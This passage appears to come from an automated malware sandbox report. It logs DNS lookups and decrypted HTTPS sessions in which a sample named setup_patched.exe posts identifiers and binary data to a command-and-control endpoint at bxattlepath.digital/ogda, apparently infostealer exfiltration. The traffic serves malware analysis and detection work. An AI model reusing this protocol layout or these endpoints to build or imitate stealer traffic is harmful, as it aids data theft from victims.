Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.55.34	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.48.20	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:11.347388029 CEST	1.1.1.1	192.168.2.5	0xcebe	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.55.18	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:29.886405945 CEST	1.1.1.1	192.168.2.5	0xf689	No error (0)	bxattlepath.digital	104.21.42.51	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:29.886405945 CEST	1.1.1.1	192.168.2.5	0xf689	No error (0)	bxattlepath.digital	172.67.157.7	A (IP address)	IN (0x0001)	false
Apr 13, 2025 17:10:42.410509109 CEST	1.1.1.1	192.168.2.5	0xceea	No error (0)	h1.mockupeastcoast.shop	89.169.54.153	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bxattlepath.digital

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49693	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-13 15:10:30 UTC	268	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 87 Host: bxattlepath.digital
2025-04-13 15:10:30 UTC	87	OUT	Data Raw: 75 69 64 3d 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 26 63 69 64 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 Data Ascii: uid=6795475de230e1f7744834327a6b4916e6e6b00aa86d4c&cid=637b55279021aab33278188cfa638397
2025-04-13 15:10:30 UTC	792	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:30 GMT Content-Type: application/octet-stream Content-Length: 38654 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KXX5jG31cTKkL3a856uUy5hiNqcRC2TfoBPotymwD0TXw%2FwFsPyrsBS0qvr4ZkT14KnU7scIkJx4dYQ6%2FJGcHZuGgyibXIYTA%2BLgTDLdaUNXgjqjwgc5DQ%2FkaeuFEnq0ue%2F5TZL7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe3ff8acdbf7c-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106638&min_rtt=106363&rtt_var=22714&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=991&delivery_rate=37954&cwnd=252&unsent_bytes=0&cid=d4284106ff7a35b4&ts=581&x=0"
2025-04-13 15:10:30 UTC	577	IN	Data Raw: 30 ad 84 f7 66 06 2d 4a 3b 75 a7 03 2f 87 eb 5a fc e3 22 30 8d 7e 0d bb 30 3d 31 8d c8 e7 ba 07 85 84 35 6f b6 2e 9b cb d9 42 62 99 43 7f e5 37 05 3b b4 d9 a8 ba 30 ca 96 b0 76 21 a1 23 72 27 3c 31 14 7b 32 55 95 2c c3 e4 fe f4 26 f2 64 2d a2 8d b3 3e da e3 cc 98 d8 4e 26 c0 e7 d2 2d 99 e3 8d d0 eb b5 24 1f 02 83 cc a3 8c 70 19 26 5b d7 c7 bb 03 93 f7 f1 a8 22 9d 3b 55 42 31 86 df ca 45 1d 69 97 fe fe b0 de 63 11 3f b4 81 18 8d 6f 60 24 3e 7c a0 20 ab a6 17 04 c1 fb 7c f4 e4 39 55 c4 53 b1 85 ed 39 1b c7 41 39 26 9c ea 8b 82 a4 e7 99 14 7e db e0 1c 61 82 61 ef 95 24 26 34 a2 c3 db 1f 62 3b 0c 08 3a ee f2 2d f4 5d 73 b3 40 6b 4e 15 5d 69 db bf 49 6e 18 15 a1 a2 1f 34 ef c3 26 6b f4 34 e5 f9 2a f0 d4 1b a1 a1 89 b1 5b 50 a9 f9 32 87 62 d9 21 0e 67 68 c0 34 Data Ascii: 0f-J;u/Z"0~0=15o.BbC7;0v!#r'<1{2U,&d->N&-$p&[";UB1Eic?o`$>\| \|9US9A9&~aa$&4b;:-]s@kN]iIn4&k4*[P2b!gh4
2025-04-13 15:10:30 UTC	1369	IN	Data Raw: d6 21 93 3a e4 08 3a 99 8f 4d 50 1c c1 3d ec b7 f7 c5 1c 7b fd 0e b4 f0 02 92 3f 42 12 70 5b 6c e6 60 06 60 04 44 55 b4 56 2c 54 c5 8a a3 ea 58 bf 4c c4 48 33 8b 87 bf 04 08 11 d4 b6 b4 0f 71 6d 5e 5a 4e b4 c4 d0 ef f1 72 43 2e 91 6b 70 aa 8e 88 8c 1e 78 98 fe c1 ec 95 ea 4d b5 85 df 5b cb ad e5 b4 cd 8f 7c 7c 15 46 aa c9 92 20 0b 12 05 b7 ef 3e ae 71 89 9d b7 d4 22 90 48 15 62 3f 2b 2a 90 1a 4b 93 fb d9 d2 d7 b3 fb 25 2a 03 cf 07 d1 83 c7 a1 3e 95 ae 3e a5 88 96 2c 87 79 02 35 1d ec d6 e1 ab f5 73 a3 6e 2d b6 a6 36 7c 31 d3 43 4d fe 2e 3f 1c ef 8e c5 c7 3b 4e 67 9b 4b 2d 79 03 66 49 72 0a 04 84 04 e6 5a 51 b9 dc 77 cf 82 4c 20 60 18 33 65 17 0c b0 a4 84 a3 aa a7 47 65 b3 8f f6 f9 85 38 d4 d2 7c 19 ce cd 0d 97 c6 bd 72 94 f7 63 53 de c8 84 b2 0f c6 22 40 Data Ascii: !::MP={?Bp[l``DUV,TXLH3qm^ZNrC.kpxM[\|\|F >q"Hb?+K%>>,y5sn-6\|1CM.?;NgK-yfIrZQwL `3eGe8\|rcS"@
2025-04-13 15:10:30 UTC	1369	IN	Data Raw: 80 9b c2 5e b6 e3 14 9d 07 a1 72 99 71 95 0a 50 c2 84 f9 af 4c 36 82 2b 8f ca 3a 57 0b 5f 1b 73 48 70 a8 f6 55 84 47 38 bf d1 eb e7 62 c3 92 65 65 45 5b e5 21 ff e3 b7 06 10 45 87 dd cd ce 14 7f 20 d2 38 af 21 06 64 f5 69 88 9c 9d 13 44 1c ba 8b 4a b3 e6 b3 22 04 67 a7 cf 68 28 60 5c 6e cd d0 56 af d0 97 a1 93 23 55 4a df a8 3a a4 17 4a ee ef 30 70 5f fc 83 2f fd dd 5f a0 ae 8a 3a 7b f3 39 aa f7 f6 01 db 0d b7 14 75 19 9e 54 8e 50 6b 5e 38 c9 40 49 6d f0 93 f3 f7 8a 04 a8 f0 96 82 da 84 09 fe 35 0b b5 ed af 3d d3 2d 20 4e ca 0c 35 4f 91 7d fd 77 5d 1c b8 c8 1f ab ac 73 59 82 5b 8a eb 70 25 0a 9b 94 5a 46 c0 f8 40 e6 51 14 2f 25 77 da 41 21 b8 50 52 80 b2 65 19 d8 21 13 47 d6 c8 3d 2f c2 39 61 12 a6 4c 7f 78 2e 8c 41 af 99 7e ff bc 11 47 ab 5c 25 10 98 d0 Data Ascii: ^rqPL6+:W_sHpUG8beeE[!E 8!diDJ"gh(`\nV#UJ:J0p_/_:{9uTPk^8@Im5=- N5O}w]sY[p%ZF@Q/%wA!PRe!G=/9aLx.A~G\%
2025-04-13 15:10:30 UTC	1369	IN	Data Raw: 2b f7 d6 23 43 06 79 86 b9 51 66 2a e1 1c ef c8 90 89 e3 f2 75 81 c2 e7 27 92 36 7f c7 ea 73 a9 28 61 29 61 e8 e4 74 fb e3 b5 5a 40 2d 83 c4 c8 15 a6 44 cf 52 fb 23 13 06 b5 ef 94 10 77 94 55 62 22 d4 0f 15 b4 3b 0e 7d b1 6b a7 6e eb c3 e1 76 79 b3 34 d0 3c 26 ee ef c3 7a 17 ba 19 53 87 3e 2a 4f 3d 5c 2e 61 2d b3 e7 b0 8c 67 b4 9f 72 b7 3b 10 e9 ff 54 51 7b 6a d4 d1 03 5b 53 69 95 bc c3 97 70 74 b7 2a cf 29 3d 3d 18 a2 a6 db 11 7c 05 04 0a 93 d9 22 b5 32 04 e7 f2 ab 40 4c 1c c7 4d de 23 77 d1 5e 07 90 94 76 4b 65 de 8c 0d 3d 2e 12 9e d4 77 0a 01 4e c5 d1 33 c5 46 c9 5a 2b f6 12 fc 49 a2 d7 3f 61 4f fc 90 f7 bd 60 e9 31 1a 35 11 1d 31 d1 a4 c2 2a 6e 9f 3d 71 9b af 17 89 53 ea f4 b8 96 c8 a5 19 b1 f5 01 11 a8 37 04 ed fa ac ca 91 b8 47 b9 ab 41 cc 45 b7 87 Data Ascii: +#CyQfu'6s(a)atZ@-DR#wUb";}knvy4<&zS>O=\.a-gr;TQ{j[Sipt)==\|"2@LM#w^vKe=.wN3FZ+I?aO`151n=qS7GAE
2025-04-13 15:10:30 UTC	1369	IN	Data Raw: 04 21 8b 91 07 d6 00 d9 e1 e0 18 52 c9 fa 5a 58 22 da b8 a9 a1 fb 18 b2 71 f3 99 d8 d2 02 64 c0 a5 fa 5a 45 82 cb 20 2d 41 d7 92 79 09 be 8d b2 90 7a f1 c5 3f c6 af e5 5f e2 3d 19 6c 3f 9b 50 6a 81 b6 a7 4c c6 b3 af ef 49 b9 e1 52 12 f6 29 ef 2c 6f 6f 3a 92 1a 9d e6 49 e6 64 8d de fc 4f 74 ec 55 c1 1b 06 ec c3 ae fb 6f f3 14 7c bd 10 37 77 4b cf ae a4 fb 26 b5 36 e4 7b 53 14 64 71 35 93 e4 21 c2 e9 18 61 d4 94 3b 14 92 3f b9 d3 0e a9 f4 82 78 27 c3 c4 c4 54 18 02 5a 31 76 f1 6d 00 95 63 66 cd 20 4c b3 74 72 0e 16 eb 6c 90 b4 79 9d 88 9c c1 89 9f 3c e7 76 8a 3d 09 02 4f 58 81 c7 55 e1 9f 14 ab a8 c9 81 2c ce 68 da 61 79 01 4e a0 ee 60 29 c5 36 03 a9 0b 6f 62 f4 c7 58 0e 43 3d 50 3e a5 70 fe 75 5f c0 cf c0 5f b6 23 6d 14 6a 0c 41 e5 1b 0f 1b ba 6c aa ac 82 Data Ascii: !RZX"qdZE -Ayz?_=l?PjLIR),oo:IdOtUo\|7wK&6{Sdq5!a;?x'TZ1vmcf Ltrly<v=OXU,hayN`)6obXC=P>pu__#mjAl
2025-04-13 15:10:30 UTC	1369	IN	Data Raw: c4 0d 8b 73 bd fb 2b 67 d4 66 a5 c3 b8 90 46 9c c2 28 a9 18 c1 04 b9 98 58 b2 85 c0 df 50 5c 5f 6d ee 31 8b 05 26 03 92 4d c1 ba b6 ff e5 85 fd f4 83 92 a7 1d a4 1a ca 50 f9 43 65 5f ee 54 7f ee 3a ef 2b b0 3a eb 64 b1 a5 42 cb c5 bd 26 ed 95 63 31 25 45 82 52 ec d4 20 2b 54 4f 08 d7 72 92 17 fa 66 d6 fc 13 a6 9e e4 db f3 1c f0 80 aa d6 59 1c 0f f6 bd b3 59 54 7c 00 78 c1 02 0b df c3 09 9f c3 34 48 82 0c 66 0e 54 ea 18 19 94 6b c5 ef d2 a9 2a ea ed 91 74 df 26 3c 6b 6c 18 fa 6c f9 0e 06 e3 72 ca 92 93 5c a0 51 b8 c8 3b d1 88 f7 cb 6f 72 44 03 b4 57 cd 4f a2 cc d4 f7 c0 9f b1 af 4b 7d 7c 84 de 41 39 03 15 a5 04 05 b8 04 55 db e2 8a 17 4b 83 1c 24 98 18 be 80 26 d9 1a dc 78 c8 29 66 36 67 fe ab 21 1f 59 d1 96 a9 7f 9c 19 8b fc cd 38 9c ec 5a 73 62 f3 94 a6 Data Ascii: s+gfF(XP\_m1&MPCe_T:+:dB&c1%ER +TOrfYYT\|x4HfTk*t&<kllr\Q;orDWOK}\|A9UK$&x)f6g!Y8Zsb
2025-04-13 15:10:30 UTC	1369	IN	Data Raw: 5a 75 58 9f 3d fe e5 88 5a 05 e0 77 f9 20 34 7e 49 00 ad 7c 6c e9 13 62 61 43 33 47 eb e8 d8 8e 31 02 81 67 de 26 c3 f1 f1 87 f6 85 85 57 0e a6 d9 47 a8 70 c7 c8 37 5d c9 83 ef 71 54 ca 25 a6 c1 96 af 6c 62 5b b1 3c 29 0d ec 18 b7 c2 f0 51 e2 48 91 2e 66 50 90 53 ab 8a f4 71 5a 80 58 33 0d 61 d3 59 58 d4 db 32 a4 05 87 76 cf fb 4e cb 52 e4 e2 0c 60 1d 88 e5 96 e7 bb 25 8d 82 c7 58 8d 39 b3 0b cb 5f dd 71 11 aa 40 c6 32 7a 4b 8d b6 3d 24 54 b4 c4 ef 78 ae f9 06 d8 bf 9b d1 17 b4 5a 15 c6 7e 41 ba 98 15 54 df 70 16 9b d5 10 ad 2f ee 3c d4 32 69 d2 00 70 e5 c0 aa 39 96 aa 6e 80 2c 67 0e f5 ca 3f d3 f2 dd 16 d2 ac b9 a7 34 25 45 8f f4 fe c1 99 b6 03 a8 23 60 c7 02 ed 84 a1 67 2c 0f 62 dc 14 8e f8 ad 6e 94 3b 36 1b e7 a4 7b 5e 05 11 c7 94 19 a7 aa 85 30 31 34 Data Ascii: ZuX=Zw 4~I\|lbaC3G1g&WGp7]qT%lb[<)QH.fPSqZX3aYX2vNR`%X9_q@2zK=$TxZ~ATp/<2ip9n,g?4%E#`g,bn;6{^014
2025-04-13 15:10:30 UTC	1369	IN	Data Raw: c8 a4 3f 93 57 ab 9b 8d 1d 4e b2 57 76 6f ee e1 ed e5 fc d4 c5 76 b4 79 1c 22 e4 a1 11 0e 87 b6 3e b4 1f cd 92 6b 9f 75 a2 d7 1b 8a 84 8d 20 1b 81 32 e7 8d a1 5c 1d f2 b6 3f f4 a0 96 39 b0 92 ea f3 ca c9 cd 23 4f f5 70 f0 f7 2a 70 d9 c3 5e dc 99 65 17 d6 23 10 17 b2 a0 0c d0 9a 4c 07 4f 4a a6 a2 1f a3 2f 4e 32 15 0b 85 d0 25 0f 65 11 bb 0e bb 0e b2 ec 1b 46 bf 33 2f 20 21 0a 6e c7 e8 d7 8d 4f aa 23 e7 de b7 f2 32 19 46 42 03 0b 33 b2 08 72 43 69 dc 29 2e 71 78 cf ff 25 a7 a3 81 96 f5 25 cb ff 9f bf 4e 8d a9 2d d0 0e db 6f 3d 10 a4 05 fd 68 42 e5 a2 8a 8f 0f 28 cb 7e ea a0 30 1c 15 74 01 22 91 3b f3 f9 0f b3 ec fa 2e 8f 05 d5 b0 42 c7 36 d7 0f ea 7f 6f f3 2e f1 8a 16 5d 21 1d 81 c0 31 39 2e c9 42 89 d4 f0 11 c9 a5 ed 71 93 0d 2f c2 09 96 ad 1a d2 66 27 ad Data Ascii: ?WNWvovy">ku 2\?9#Op*p^e#LOJ/N2%eF3/ !nO#2FB3rCi).qx%%N-o=hB(~0t";.B6o.]!19.Bq/f'
2025-04-13 15:10:30 UTC	759	IN	Data Raw: 76 fb e8 8c b9 a7 79 15 8c 7d b0 14 cd f8 a2 b4 30 eb 81 80 cc f6 03 f8 9d 1e 3b e5 98 fa a6 74 db 6b e3 68 10 ff 7f 8c b4 20 59 b4 74 f5 99 ec 93 81 b8 61 5c 69 75 6c ac 68 f9 86 55 48 8e 8c 09 fe 76 0c e2 0b 39 c6 ca ff 37 e2 33 dd fe 5c 80 fa 4b 76 05 13 9d 8b 05 ce 24 2f 1e 25 f8 df 38 aa 22 2d f2 c0 77 b9 29 20 69 82 b8 81 51 83 f5 73 f3 de 66 9d e1 37 28 86 a9 e7 3a 7d e9 92 59 39 a3 c7 f6 c4 17 cd 9a 13 6f 3f 13 76 91 f9 e4 c2 df 26 fb ac e1 c0 c9 6b b7 95 a8 14 06 fe df 06 90 43 0e e4 78 ba 4d f8 28 17 f3 33 e1 4a 17 c6 61 98 fc 8c 24 21 75 30 04 16 eb d5 e3 65 59 dd 0d 59 12 f3 be a9 9e 14 87 d4 07 71 f2 6b 08 27 e4 42 1d a1 96 a1 e3 c6 48 fa 0d 34 97 5a be d3 9d c5 51 3b 97 5d 39 f8 74 15 9c 6d b1 10 52 9f 25 7b f2 77 1f fc 35 03 a5 77 65 a9 7a Data Ascii: vy}0;tkh Yta\iulhUHv973\Kv$/%8"-w) iQsf7(:}Y9o?v&kCxM(3Ja$!u0eYYqk'BH4ZQ;]9tmR%{w5wez

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49696	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-13 15:10:31 UTC	280	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=blMjrvO9h3Mt User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 14897 Host: bxattlepath.digital
2025-04-13 15:10:31 UTC	14897	OUT	Data Raw: 2d 2d 62 6c 4d 6a 72 76 4f 39 68 33 4d 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 0d 0a 2d 2d 62 6c 4d 6a 72 76 4f 39 68 33 4d 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 6c 4d 6a 72 76 4f 39 68 33 4d 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 37 46 30 43 45 35 32 37 39 43 38 45 31 30 41 Data Ascii: --blMjrvO9h3MtContent-Disposition: form-data; name="uid"6795475de230e1f7744834327a6b4916e6e6b00aa86d4c--blMjrvO9h3MtContent-Disposition: form-data; name="pid"2--blMjrvO9h3MtContent-Disposition: form-data; name="hwid"117F0CE5279C8E10A
2025-04-13 15:10:32 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:32 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yY%2Bfh1AP7v0xQ2J1YH8afBluTUeZvNXdAaSnVfeCwRj6OJ%2FV1nV%2BEMGYZMig2BfhjJ%2FNVhNf1GofOrvV2bF5%2FU5p8COMLkY8Nr9KEvANyNyJdI8LVbBaf%2BPt78KYcdJpiH2cWSr4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe408b94dc25a-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=115066&min_rtt=114002&rtt_var=25166&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=15835&delivery_rate=35418&cwnd=252&unsent_bytes=0&cid=00fb63433f68274e&ts=971&x=0"
2025-04-13 15:10:32 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 15:10:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49697	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-13 15:10:33 UTC	281	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=10vGl9rh9rKSW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 15051 Host: bxattlepath.digital
2025-04-13 15:10:33 UTC	15051	OUT	Data Raw: 2d 2d 31 30 76 47 6c 39 72 68 39 72 4b 53 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 0d 0a 2d 2d 31 30 76 47 6c 39 72 68 39 72 4b 53 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 30 76 47 6c 39 72 68 39 72 4b 53 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 37 46 30 43 45 35 32 37 39 43 38 45 Data Ascii: --10vGl9rh9rKSWContent-Disposition: form-data; name="uid"6795475de230e1f7744834327a6b4916e6e6b00aa86d4c--10vGl9rh9rKSWContent-Disposition: form-data; name="pid"2--10vGl9rh9rKSWContent-Disposition: form-data; name="hwid"117F0CE5279C8E
2025-04-13 15:10:33 UTC	811	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:33 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mvA1pAENPF4qQfb7AoGvx4qX9m0Q2wSs1kJl8oStEH%2FOriAEIl70CQrX%2FEGhCylDJEzKc%2FJLl7YfK8J9eVLZBEvrBH3jlP6EJ8ipzhrfGuKK3odWfChfEQ0TeaOjSRi2tZfeK17L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe412c88b674b-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=106035&min_rtt=105982&rtt_var=22383&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=15990&delivery_rate=38082&cwnd=252&unsent_bytes=0&cid=6da71de0a5e0961c&ts=582&x=0"
2025-04-13 15:10:33 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 15:10:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49698	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-13 15:10:34 UTC	281	OUT	POST /ogda HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=h47t68EWrrSvM User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Length: 20540 Host: bxattlepath.digital
2025-04-13 15:10:34 UTC	15331	OUT	Data Raw: 2d 2d 68 34 37 74 36 38 45 57 72 72 53 76 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 36 37 39 35 34 37 35 64 65 32 33 30 65 31 66 37 37 34 34 38 33 34 33 32 37 61 36 62 34 39 31 36 65 36 65 36 62 30 30 61 61 38 36 64 34 63 0d 0a 2d 2d 68 34 37 74 36 38 45 57 72 72 53 76 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 68 34 37 74 36 38 45 57 72 72 53 76 4d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 37 46 30 43 45 35 32 37 39 43 38 45 Data Ascii: --h47t68EWrrSvMContent-Disposition: form-data; name="uid"6795475de230e1f7744834327a6b4916e6e6b00aa86d4c--h47t68EWrrSvMContent-Disposition: form-data; name="pid"3--h47t68EWrrSvMContent-Disposition: form-data; name="hwid"117F0CE5279C8E
2025-04-13 15:10:34 UTC	5209	OUT	Data Raw: 83 35 e5 bd cf 94 f6 53 a6 62 dd 23 8c fe 89 a8 f6 38 df 11 47 ac 86 06 f7 f5 ee bd 6c 68 c8 d3 fb 0b 1a 8b 5b 7f 3e c2 06 a8 46 d6 bf ef 40 5c ff e0 6b f6 cd 5d d9 5b cb ea c8 78 64 02 06 cb 10 64 6a b3 bd 34 2f bc fe 7b 55 8d b5 22 b6 18 e6 56 41 78 16 55 83 35 05 a1 6a f5 82 68 c6 8a cd 4f b9 dd 0e 3a 1f 1e 47 91 d7 aa 17 26 e3 28 58 b2 e9 9e e0 3f 27 23 72 80 70 ea 4b 75 63 85 ba 08 aa 8f 21 30 18 f4 29 61 e6 69 9a d7 08 a7 bc 98 6f d4 27 f0 d9 7a 14 50 9f 43 26 cc b7 52 b4 bb 0e 00 fe 75 9c ce be b3 b9 ef b1 06 6a bd 0f 4a bf d3 b8 cd 20 57 2e 83 ac 99 76 0a 10 d4 88 77 cc c3 9b ff 18 41 ae 04 22 fb e0 67 18 8d 7a 21 69 34 e5 e9 c7 55 75 4f 8c b3 52 bb 10 b5 ea 86 a5 44 49 4a 51 49 e6 0f 16 d2 48 1f ae 05 9b b0 fb 68 37 0a dd 63 a7 49 be 26 9d 96 cf Data Ascii: 5Sb#8Glh[>F@\k][xddj4/{U"VAxU5jhO:G&(X?'#rpKuc!0)aio'zPC&RujJ W.vwA"gz!i4UuORDIJQIHh7cI&
2025-04-13 15:10:35 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 13 Apr 2025 15:10:35 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0wxtv401H8SdCEZAjiDG2LCPbShlH0UxQqZaf8Ell%2FLwi%2B458JJdtbgcI8P0dGELrrokAcW80%2BA3bFhXKPB7zsKzkJ1iFarCp09hdKaJiWF1LsUhzG48FA7q5gVOlbLKUFRF2OIC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 92fbe419afc52733-JAX alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=113244&min_rtt=113071&rtt_var=24116&sent=13&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21501&delivery_rate=35534&cwnd=252&unsent_bytes=0&cid=baa21b5706f11d78&ts=693&x=0"
2025-04-13 15:10:35 UTC	76	IN	Data Raw: 34 36 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 38 39 2e 31 38 37 2e 31 37 31 2e 31 36 31 22 7d 7d 0d 0a Data Ascii: 46{"success":{"message":"message success delivery from 89.187.171.161"}}
2025-04-13 15:10:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49699	104.21.42.51	443	7448	C:\Users\user\Desktop\setup_patched.exe

Timestamp	Bytes transferred	Direction	Data
